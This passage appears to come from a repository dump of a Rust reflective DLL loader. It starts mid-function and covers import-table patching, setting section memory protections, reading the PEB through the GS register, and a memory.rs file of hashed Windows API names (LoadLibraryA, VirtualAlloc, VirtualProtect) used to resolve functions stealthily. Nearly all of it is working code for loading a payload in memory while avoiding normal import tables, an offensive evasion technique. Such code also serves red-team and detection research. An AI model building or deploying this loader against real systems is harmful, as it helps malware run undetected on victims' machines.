(base_addr_ptr as usize 477 | + (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize) 478 | != 0 479 | { 480 | rva_mut( 481 | base_addr_ptr as _, 482 | (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize, 483 | ) 484 | } else { 485 | rva_mut( 486 | base_addr_ptr as _, 487 | (*import_descriptor_ptr).FirstThunk as usize, 488 | ) 489 | }; 490 | 491 | let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut( 492 | base_addr_ptr as _, 493 | (*import_descriptor_ptr).FirstThunk as usize, 494 | ); 495 | 496 | while (*original_thunk_ptr).u1.Function != 0 { 497 | let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0; 498 | 499 | // check if the import is by name or by ordinal 500 | if is_snap_res { 501 | // mask out the high bits to get the ordinal value and patch the address of the function 502 | let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8; 503 | (*thunk_ptr).u1.Function = 504 | match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) { 505 | Some(fn_addr) => fn_addr as usize as _, 506 | None => return 0, 507 | }; 508 | } else { 509 | // get the function name from the thunk and patch the address of the function 510 | let thunk_data_ptr = (base_addr_ptr as usize 511 | + (*original_thunk_ptr).u1.AddressOfData as usize) 512 | as *mut IMAGE_IMPORT_BY_NAME; 513 | let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr(); 514 | (*thunk_ptr).u1.Function = 515 | match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) { 516 | Some(fn_addr) => fn_addr as usize as _, 517 | None => return 0, 518 | }; 519 | } 520 | 521 | thunk_ptr = thunk_ptr.add(1); 522 | original_thunk_ptr = original_thunk_ptr.add(1); 523 | } 524 | 525 | import_descriptor_ptr = 526 | (import_descriptor_ptr as usize + size_of::()) as _; 527 | } 528 | 529 | 1 530 | } 531 | 532 | #[link_section = ".text"] 533 | unsafe fn finalize_relocations( 534 | base_addr_ptr: *mut c_void, 535 | module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64, 536 | far_procs: &FarProcs, 537 | ) { 538 | // RVA of the first IMAGE_SECTION_HEADER in the PE file 539 | let section_header_ptr = rva_mut::( 540 | &(*module_nt_headers_ptr).OptionalHeader as *const _ as _, 541 | (*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize, 542 | ); 543 | 544 | for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections { 545 | let mut protection = 0; 546 | let mut old_protection = 0; 547 | 548 | let section_header_ptr = &*(section_header_ptr).add(i as usize); 549 | let dst_ptr = base_addr_ptr 550 | .cast::() 551 | .add(section_header_ptr.VirtualAddress as usize); 552 | let section_raw_size = section_header_ptr.SizeOfRawData as usize; 553 | 554 | let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0; 555 | let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0; 556 | let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0; 557 | 558 | if !is_executable && !is_readable && !is_writable { 559 | protection = PAGE_NOACCESS; 560 | } 561 | 562 | if is_writable { 563 | protection = PAGE_WRITECOPY; 564 | } 565 | 566 | if is_readable { 567 | protection = PAGE_READONLY; 568 | } 569 | 570 | if is_writable && is_readable { 571 | protection = PAGE_READWRITE; 572 | } 573 | 574 | if is_executable { 575 | protection = PAGE_EXECUTE; 576 | } 577 | 578 | if is_executable && is_writable { 579 | protection = PAGE_EXECUTE_WRITECOPY; 580 | } 581 | 582 | if is_executable && is_readable { 583 | protection = PAGE_EXECUTE_READ; 584 | } 585 | 586 | if is_executable && is_writable && is_readable { 587 | protection = PAGE_EXECUTE_READWRITE; 588 | } 589 | 590 | // apply the new protection to the current section 591 | (far_procs.VirtualProtect)( 592 | dst_ptr as _, 593 | section_raw_size, 594 | protection, 595 | &mut old_protection, 596 | ); 597 | } 598 | 599 | // flush the instruction cache to ensure the CPU sees the changes made to the memory 600 | (far_procs.FlushInstructionCache)(-1, null_mut(), 0); 601 | } 602 | 603 | #[link_section = ".text"] 604 | unsafe fn get_random(far_procs: &FarProcs) -> Option { 605 | let mut buffer = [0u8; 8]; 606 | let status = (far_procs.BCryptGenRandom)( 607 | BCRYPT_RNG_ALG_HANDLE, 608 | buffer.as_mut_ptr(), 609 | buffer.len() as _, 610 | 0, 611 | ); 612 | 613 | if status != STATUS_SUCCESS { 614 | return None; 615 | } 616 | 617 | Some(u64::from_le_bytes(buffer)) 618 | } 619 | 620 | #[link_section = ".text"] 621 | unsafe fn get_peb_ptr() -> *mut PEB { 622 | // TEB located at offset 0x30 from the GS register on 64-bit 623 | let teb: *mut TEB; 624 | asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb); 625 | 626 | (*teb).ProcessEnvironmentBlock as *mut PEB 627 | } 628 | 629 | #[link_section = ".text"] 630 | unsafe fn get_cstr_len(str_ptr: *const char) -> usize { 631 | let mut tmp: u64 = str_ptr as u64; 632 | 633 | while *(tmp as *const u8) != 0 { 634 | tmp += 1; 635 | } 636 | 637 | (tmp - str_ptr as u64) as _ 638 | } 639 | 640 | fn rva_mut(base_ptr: *mut u8, offset: usize) -> *mut T { 641 | (base_ptr as usize + offset) as *mut T 642 | } 643 | 644 | fn rva(base_ptr: *mut u8, offset: usize) -> *const T { 645 | (base_ptr as usize + offset) as *const T 646 | } 647 | -------------------------------------------------------------------------------- /reflective_loader/src/memory.rs: -------------------------------------------------------------------------------- 1 | use core::ffi::c_void; 2 | 3 | use windows_sys::{ 4 | core::PCSTR, 5 | Win32::{ 6 | Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, NTSTATUS, UNICODE_STRING}, 7 | Security::Cryptography::{BCRYPTGENRANDOM_FLAGS, BCRYPT_ALG_HANDLE}, 8 | System::{ 9 | Kernel::LIST_ENTRY, 10 | Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE}, 11 | }, 12 | }, 13 | }; 14 | 15 | #[allow(non_snake_case)] 16 | pub static KERNEL32_DLL: u32 = 0x6DDB9555; 17 | 18 | #[allow(non_snake_case)] 19 | pub static NTDLL_DLL: u32 = 0x1EDAB0ED; 20 | 21 | #[allow(non_snake_case)] 22 | pub static BCRYPT_DLL: u32 = 0xEDB54DA3; 23 | 24 | #[allow(non_snake_case)] 25 | pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB; 26 | 27 | #[allow(non_snake_case)] 28 | pub static GET_PROC_ADDRESS: u32 = 0xDECFC1BF; 29 | 30 | #[allow(non_snake_case)] 31 | pub static VIRTUAL_ALLOC: u32 = 0x97BC257; 32 | 33 | #[allow(non_snake_case)] 34 | pub static FLUSH_INSTRUCTION_CACHE: u32 = 0xEFB7BF9D; 35 | 36 | #[allow(non_snake_case)] 37 | pub static VIRTUAL_PROTECT: u32 = 0xE857500D; 38 | 39 | #[allow(non_snake_case)] 40 | pub static SLEEP: u32 = 0xE07CD7E; 41 | 42 | #[allow(non_snake_case)] 43 | pub static BCRYPT_GEN_RANDOM: u32 = 0xD966C0D4; 44 | 45 | #[allow(non_camel_case_types)] 46 | pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE; 47 | 48 | #[allow(non_camel_case_types)] 49 | pub type GetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PCSTR) -> FARPROC; 50 | 51 | #[allow(non_camel_case_types)] 52 | pub type VirtualAlloc = unsafe extern "system" fn( 53 | lpAddress: *const c_void, 54 | dwSize: usize, 55 | flAllocationType: VIRTUAL_ALLOCATION_TYPE, 56 | flProtect: PAGE_PROTECTION_FLAGS, 57 | ) -> *mut c_void; 58 | 59 | #[allow(non_camel_case_types)] 60 | pub type VirtualProtect = unsafe extern "system" fn( 61 | lpAddress: *const c_void, 62 | dwSize: usize, 63 | flNewProtect: PAGE_PROTECTION_FLAGS, 64 | lpflOldProtect: *mut PAGE_PROTECTION_FLAGS, 65 | ) -> BOOL; 66 | 67 | #[allow(non_camel_case_types)] 68 | pub type FlushInstructionCache = unsafe extern "system" fn( 69 | hProcess: HANDLE, 70 | BaseAddress: *const c_void, 71 | NumberOfBytesToFlush: usize, 72 | ) -> BOOL; 73 | 74 | #[allow(non_camel_case_types)] 75 | pub type BCryptGenRandom = unsafe extern "system" fn( 76 | hAlgorithm: BCRYPT_ALG_HANDLE, 77 | pbBuffer: *mut u8, 78 | cbBuffer: u32, 79 | dwFlags: BCRYPTGENRANDOM_FLAGS, 80 | ) -> NTSTATUS; 81 | 82 | #[allow(non_camel_case_types)] 83 | pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32); 84 | 85 | #[allow(non_camel_case_types)] 86 | pub type DllMain = 87 | unsafe extern "system" fn(module: HMODULE, call_reason: u32, reserved: *mut c_void) -> BOOL; 88 | 89 | #[allow(non_camel_case_types)] 90 | pub type UserFunction = 91 | unsafe extern "system" fn(user_data: *mut c_void, user_data_len: u32) -> BOOL; 92 | 93 | #[repr(C)] 94 | #[allow(non_snake_case)] 95 | pub struct FarProcs { 96 | pub LoadLibraryA: LoadLibraryA, 97 | pub GetProcAddress: GetProcAddress, 98 | pub VirtualAlloc: VirtualAlloc, 99 | pub VirtualProtect: VirtualProtect, 100 | pub FlushInstructionCache: FlushInstructionCache, 101 | pub Sleep: Sleep, 102 | pub BCryptGenRandom: BCryptGenRandom, 103 | } 104 | 105 | #[allow(non_camel_case_types)] 106 | pub type PLDR_INIT_ROUTINE = Option< 107 | unsafe extern "system" fn(DllHandle: *mut c_void, Reason: u32, Context: *mut c_void) -> BOOLEAN, 108 | >; 109 | 110 | #[repr(C)] 111 | #[allow(non_snake_case, non_camel_case_types)] 112 | pub struct PEB_LDR_DATA { 113 | pub Length: u32, 114 | pub Initialized: BOOLEAN, 115 | pub SsHandle: HANDLE, 116 | pub InLoadOrderModuleList: LIST_ENTRY, 117 | pub InMemoryOrderModuleList: LIST_ENTRY, 118 | pub InInitializationOrderModuleList: LIST_ENTRY, 119 | pub EntryInProgress: *mut c_void, 120 | pub ShutdownInProgress: BOOLEAN, 121 | pub ShutdownThreadId: HANDLE, 122 | } 123 | 124 | #[repr(C)] 125 | #[allow(non_snake_case)] 126 | pub union LDR_DATA_TABLE_ENTRY_u1 { 127 | pub InInitializationOrderLinks: LIST_ENTRY, 128 | pub InProgressLinks: LIST_ENTRY, 129 | } 130 | 131 | #[repr(C)] 132 | #[allow(non_snake_case, non_camel_case_types)] 133 | pub struct LDR_DATA_TABLE_ENTRY { 134 | pub InLoadOrderLinks: LIST_ENTRY, 135 | pub InMemoryOrderLinks: LIST_ENTRY, 136 | pub u1: LDR_DATA_TABLE_ENTRY_u1, 137 | pub DllBase: *mut c_void, 138 | pub EntryPoint: PLDR_INIT_ROUTINE, 139 | pub SizeOfImage: u32, 140 | pub FullDllName: UNICODE_STRING, 141 | pub BaseDllName: UNICODE_STRING, 142 | } 143 | --------------------------------------------------------------------------------